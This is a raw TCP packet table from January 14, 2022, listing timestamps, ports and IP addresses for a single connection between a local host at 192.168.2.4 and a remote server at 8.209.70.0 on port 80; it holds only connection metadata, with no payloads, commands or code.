Jan 14, 2022 12:30:11.783323050 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783363104 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783380032 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.783407927 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783446074 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783458948 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.783502102 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783582926 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783720970 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783761978 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783771992 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.783801079 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783814907 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.783839941 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783848047 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.783900023 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783945084 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783981085 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.783988953 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.784027100 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.784049034 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.784104109 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.784142971 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.784171104 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.784183025 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.784235001 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.784244061 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.784271955 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.784312010 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.784342051 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.784349918 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.784387112 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.784399986 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.801742077 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.801845074 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.801955938 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.802020073 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.802052021 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.802087069 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.821940899 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.821990013 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822027922 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822036982 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.822068930 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822098970 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.822107077 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822144985 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822160006 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.822185040 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822225094 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822233915 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.822266102 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822305918 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822314978 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.822343111 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822381973 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822396994 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.822422028 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822459936 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822473049 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.822499037 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822536945 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822550058 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.822576046 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822614908 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822628975 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.822652102 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822691917 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822704077 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.822731018 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822767973 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822781086 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.822807074 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822844982 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822854996 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.822885990 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822928905 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.822948933 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.822967052 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823005915 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823014975 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.823045015 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823082924 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823095083 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.823122025 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823159933 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823168993 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.823199034 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823240995 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823256016 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.823283911 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823323011 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823333979 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.823364019 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823400974 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823414087 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.823440075 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823477983 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823491096 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.823517084 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823556900 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823565960 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.823595047 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823633909 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823642969 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.823672056 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823709965 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823723078 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.823749065 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823786974 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823801041 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.823822975 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.823870897 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.841099977 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841134071 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841171980 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841207981 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.841211081 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841250896 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841265917 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.841289997 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841331959 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841341972 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.841371059 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841411114 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841423988 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.841449976 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841487885 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841500998 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.841526985 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841567039 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841582060 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.841607094 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841646910 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841661930 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.841684103 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841722965 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841739893 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.841762066 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841799021 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841816902 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.841837883 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841891050 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.841900110 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841937065 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841975927 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.841984987 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.842015982 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.842052937 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.842065096 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.842092037 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.842132092 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.842144966 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.842169046 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.842209101 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.842219114 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.842250109 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.842288017 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.842298031 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.842328072 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.842365026 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.842379093 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.842405081 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.842444897 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.842453003 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.842483044 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.842521906 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.842530966 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.842561007 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.842588902 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.842612028 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.864274025 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.864320040 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.864360094 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.864378929 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.864398956 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.864415884 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.864439011 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.864478111 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.864514112 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.864516973 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.864554882 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.864562988 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.864603043 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.864648104 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.864649057 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.864685059 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.864725113 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.864731073 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.864763975 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.864801884 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.864814043 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.864840031 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.864877939 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.864892006 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.864933968 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.864974022 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.864986897 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.865010023 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865048885 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865056992 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.865088940 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865124941 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865139008 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.865164995 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865205050 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865212917 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.865257978 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865294933 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865309954 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.865334034 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865374088 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865386009 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.865422010 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865439892 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.865468979 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865475893 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.865509987 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865546942 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865562916 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.865586996 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865624905 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865634918 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.865663052 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865703106 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865710020 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.865741014 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865780115 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865788937 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.865820885 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865866899 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.865885019 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865926981 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865967035 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.865972996 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.866005898 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.866041899 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.866050959 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.866081953 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.866121054 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.866127014 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.866159916 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.866199017 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.866214991 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.866238117 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.866285086 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.883491993 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.883604050 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.883646965 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.883685112 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.883685112 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.883723974 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.883732080 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.883770943 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.883814096 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.883830070 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.883855104 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.883893013 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.883910894 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.883933067 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.883971930 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.883987904 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.884090900 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884130001 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884159088 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.884169102 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884226084 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884231091 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.884284019 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884330034 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884350061 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.884371042 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884409904 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884429932 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.884470940 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884510994 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884524107 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.884551048 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884591103 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884610891 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.884629011 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884669065 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884684086 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.884712934 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884757042 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884767056 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.884798050 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884835958 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884851933 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.884875059 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884923935 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.884927034 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.884965897 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885005951 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885011911 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.885044098 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885083914 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885094881 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.885124922 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885162115 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885176897 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.885202885 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885243893 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885250092 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.885282040 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885322094 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885335922 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.885360003 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885400057 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885415077 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.885440111 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885478973 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885488987 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.885521889 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885562897 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885572910 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.885616064 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885653019 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885672092 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.885694027 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885731936 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885746002 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.885771036 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885809898 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885834932 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.885894060 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885934114 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.885957003 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.885968924 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886008978 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886018991 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.886049986 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886087894 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886101007 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.886126041 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886164904 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886174917 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.886202097 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886255026 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886267900 CET	49896	80	192.168.2.4	8.209.70.0
